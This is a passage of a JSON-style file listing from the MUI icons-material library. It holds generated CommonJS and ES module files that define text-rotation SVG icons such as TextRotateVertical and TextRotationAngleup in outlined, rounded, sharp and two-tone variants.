    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVertical.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 19.75l3-3H7V4.25H5v12.5H3z\"\n}), 'TextRotateVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVertical.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 19.75l3-3H7V4.25H5v12.5H3z\"\n}), 'TextRotateVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5c-.46 0-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6l.66-1.6h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C15.87 5.27 15.46 5 15 5m-1.87 7L15 6.98 16.87 12zm-6.78 7.64 1.79-1.79c.32-.31.1-.85-.35-.85H7V5c0-.55-.45-1-1-1s-1 .44-1 1v12h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.19.2.51.2.7 0\"\n}), 'TextRotateVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5c-.46 0-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6l.66-1.6h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C15.87 5.27 15.46 5 15 5m-1.87 7L15 6.98 16.87 12zm-6.78 7.64 1.79-1.79c.32-.31.1-.85-.35-.85H7V5c0-.55-.45-1-1-1s-1 .44-1 1v12h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.19.2.51.2.7 0\"\n}), 'TextRotateVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateVerticalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.75 5h-1.5L9.5 16h2.1l.9-2.2h5l.9 2.2h2.1zm-2.62 7L15 6.98 16.87 12zM6 20l3-3H7V4H5v13H3z\"\n}), 'TextRotateVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.4 4.91-1.06-1.06L7.2 8.27l1.48 1.48 2.19-.92 3.54 3.54-.92 2.19 1.48 1.48zm-6.81 3.1 4.87-2.23-2.23 4.87zM14.27 21v-4.24l-1.41 1.41-8.84-8.84-1.42 1.42 8.84 8.84L10.03 21z\"\n}), 'TextRotationAngledown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.4 4.91-1.06-1.06L7.2 8.27l1.48 1.48 2.19-.92 3.54 3.54-.92 2.19 1.48 1.48zm-6.81 3.1 4.87-2.23-2.23 4.87zM14.27 21v-4.24l-1.41 1.41-8.84-8.84-1.42 1.42 8.84 8.84L10.03 21z\"\n}), 'TextRotationAngledown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 20.5v-2.54c0-.45-.54-.67-.85-.35l-.56.56L5.1 9.68a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.49 8.49-.56.56c-.32.32-.1.86.34.86h2.54c.28 0 .5-.23.5-.5M11.25 8.48l3.54 3.54-.67 1.6c-.15.36-.07.77.21 1.05.49.49 1.31.32 1.57-.32l3.61-9.09c.17-.42.07-.91-.25-1.23s-.8-.42-1.23-.25l-9.1 3.6c-.64.25-.81 1.08-.32 1.57.27.27.68.35 1.04.2zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 20.5v-2.54c0-.45-.54-.67-.85-.35l-.56.56L5.1 9.68a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.49 8.49-.56.56c-.32.32-.1.86.34.86h2.54c.28 0 .5-.23.5-.5M11.25 8.48l3.54 3.54-.67 1.6c-.15.36-.07.77.21 1.05.49.49 1.31.32 1.57-.32l3.61-9.09c.17-.42.07-.91-.25-1.23s-.8-.42-1.23-.25l-9.1 3.6c-.64.25-.81 1.08-.32 1.57.27.27.68.35 1.04.2zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngledownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21v-4.24l-1.41 1.41-9.2-9.19-1.41 1.41 9.19 9.19L10.76 21zM11.25 8.48l3.54 3.54-.92 2.19 1.48 1.48 4.42-11.14-1.06-1.05L7.57 7.92 9.06 9.4zm6.59-3.05-2.23 4.87-2.64-2.64z\"\n}), 'TextRotationAngledownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.49 4.21 3.43 5.27 7.85 16.4l1.48-1.48-.92-2.19 3.54-3.54 2.19.92 1.48-1.48zm3.09 6.8L5.36 6.14l4.87 2.23zm12.99-1.68h-4.24l1.41 1.41-8.84 8.84L10.32 21l8.84-8.84 1.41 1.41z\"\n}), 'TextRotationAngleup');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.49 4.21 3.43 5.27 7.85 16.4l1.48-1.48-.92-2.19 3.54-3.54 2.19.92 1.48-1.48zm3.09 6.8L5.36 6.14l4.87 2.23zm12.99-1.68h-4.24l1.41 1.41-8.84 8.84L10.32 21l8.84-8.84 1.41 1.41z\"\n}), 'TextRotationAngleup');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.61 9.85.56.56-8.48 8.49c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.49-8.49.56.56c.31.32.85.1.85-.34V9.5c0-.28-.22-.5-.5-.5h-2.54c-.44 0-.66.54-.35.85m-9.13 2.9 3.54-3.54 1.6.67c.36.15.77.07 1.05-.21.49-.49.32-1.31-.32-1.57L5.26 4.5c-.43-.16-.91-.06-1.23.26s-.42.8-.25 1.23l3.61 9.09c.25.64 1.08.81 1.57.32.28-.28.36-.69.21-1.05zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.61 9.85.56.56-8.48 8.49c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l8.49-8.49.56.56c.31.32.85.1.85-.34V9.5c0-.28-.22-.5-.5-.5h-2.54c-.44 0-.66.54-.35.85m-9.13 2.9 3.54-3.54 1.6.67c.36.15.77.07 1.05-.21.49-.49.32-1.31-.32-1.57L5.26 4.5c-.43-.16-.91-.06-1.23.26s-.42.8-.25 1.23l3.61 9.09c.25.64 1.08.81 1.57.32.28-.28.36-.69.21-1.05zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationAngleupTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.76 9 1.41 1.41-9.19 9.19 1.41 1.41 9.19-9.19L21 13.24V9zm-8.28 3.75 3.54-3.54 2.19.92 1.48-1.48L4.56 4.23 3.5 5.29l4.42 11.14 1.48-1.48zm-.82-1.72L5.43 6.16l4.87 2.23z\"\n}), 'TextRotationAngleupTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12v-1.5L10 5.75v2.1l2.2.9v5l-2.2.9v2.1zm-7-2.62 5.02 1.87L14 13.12zM6 19.75l3-3H7V4.25H5v12.5H3z\"\n}), 'TextRotationDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12v-1.5L10 5.75v2.1l2.2.9v5l-2.2.9v2.1zm-7-2.62 5.02 1.87L14 13.12zM6 19.75l3-3H7V4.25H5v12.5H3z\"\n}), 'TextRotationDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 20 3-3H7V4H5v13H3zm6.2-11.5v5l-2.2.9v2.1l11-4.75v-1.5L10 5.5v2.1zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6.35 19.65 1.79-1.79c.32-.32.1-.86-.35-.86H7V5c0-.55-.45-1-1-1s-1 .45-1 1v12h-.79c-.45 0-.67.54-.35.85l1.79 1.79c.19.2.51.2.7.01M12.2 8.5v5l-1.6.66c-.36.15-.6.5-.6.89 0 .69.71 1.15 1.34.88l8.97-3.88c.42-.18.69-.59.69-1.05s-.27-.87-.69-1.05l-8.97-3.88c-.63-.27-1.34.2-1.34.89 0 .39.24.74.6.89zm6.82 2.5L14 12.87V9.13z\"\n}), 'TextRotationDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotationDownRounded.mjs",
